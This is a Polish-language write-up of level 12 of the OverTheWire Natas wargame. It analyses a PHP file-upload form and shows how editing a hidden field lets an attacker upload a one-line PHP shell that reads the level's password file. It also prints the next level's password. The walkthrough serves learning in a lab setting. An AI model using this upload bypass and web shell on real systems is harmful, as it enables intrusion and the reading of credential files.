Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapu 11 można znaleźć tutaj.

Analiza

Hasłem uzyskanym na poprzednim etapie logujemy się do kolejnego poziomu. Na tym poziomie mamy do czynienia z formularzem wstawiania plików na serwer. Spójrzmy na kod:

<?

function genRandomString()
{
    $length     = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string     = "";
    
    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters) - 1)];
    }
    
    return $string;
}

function makeRandomPath($dir, $ext)
{
    do {
        $path = $dir . "/" . genRandomString() . "." . $ext;
    } while (file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn)
{
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if (array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    
    if (filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else {
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?
    print genRandomString();
?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?
}
?> 

Kod możemy podzielić na dwie sekcje. Pierwsza to definicje trzech funkcji: genRandomString(), makeRandomPath(), makeRandomPathFromFilename().

Następnie następuje blok warunkowy, który ma dwa główne zadania:

  • Jeśli zadeklarowano pole filename w tablicy POST zapytania, generowana jest informacja z lokalizacją zuploadowanego pliku
  • W przeciwnym wypadku wyświetlany jest formularz wysyłania pliku

Interesują nas oczywiście te części skryptu, które reagują na dane wprowadzone przez użytkownika. Z tego powodu przeanalizujemy pierwsze z wymienionych zadań bloku warunkowego.

if (array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    
    if (filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else {
            echo "There was an error uploading the file, please try again!";
        }
    }
}

Dla wysłanego przez użytkownika pliku z użyciem makeRandomPathFromFilename() przygotowywana jest ścieżka. Jeśli plik nie jest za duży zostanie przeniesiony na miejsce zgodne z wygenerowaną ścieżką. Wyświetlony zostanie komunikat o poprawnym wysłaniu pliku. Jednocześnie funkcja makeRandomPathFromFilename() jest jedyną w tym bloku, którą możemy podejrzewać o podatność.

Jej konstrukcja jest bardzo prosta. Odczytuje ona rozszerzenie wysłanego pliku i wywołuje makeRandomPath() zadając jako parametry wygenerowany wcześniej katalog i odczytane rozszerzenie pliku.

Idąc za ciosem zapoznajmy się z funkcją makeRandomPath(). Jeśli zadana ścieżka istnieje, generuje ona losową nazwę pliku uzupełniając ją o otrzymane rozszerzenie a następnie zwraca tak wygenerowany ciąg.

Rozwiązanie

Analiza doprowadziła nas do pewnego wniosku. Formularz wygląda na mechanizm pozwalający jedynie na wysyłanie obrazów, w rzeczywistości jednak pozwala wysłać dowolny plik. Jedynym zabezpieczeniem przed takim działaniem jest ukryte pole formularza:

<input type="hidden" name="filename" value="<?
    print genRandomString();
?>.jpg" />

Możemy w łatwy sposób zmodyfikować ten parametr używając choćby Firebug’a:

Pozostaje jedynie napisać skrypt, który wysłany w ten sposób udostępni nam hasło do poziomu 13. Proponuję następującą treść:

<?
passthru("cat /etc/natas_webpass/natas13");
?>

Skrypt wywołuje jedynie polecenie odczytujące zawartość pliku z hasłem i wyświetla jego wynik. Wysłanie pliku daje komunikat:

The file upload/2qwaxjasuf.php has been uploaded

Zatem wedle przewidywań rozszerzenie pliku zostało zachowane. Odwiedziny pliku pod adresem http://natas12.natas.labs.overthewire.org/upload/2qwaxjasuf.php powodują wyświetlenie hasła do natas13:

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY 

Rozwiązanie kolejnego poziomu jest już dostępne.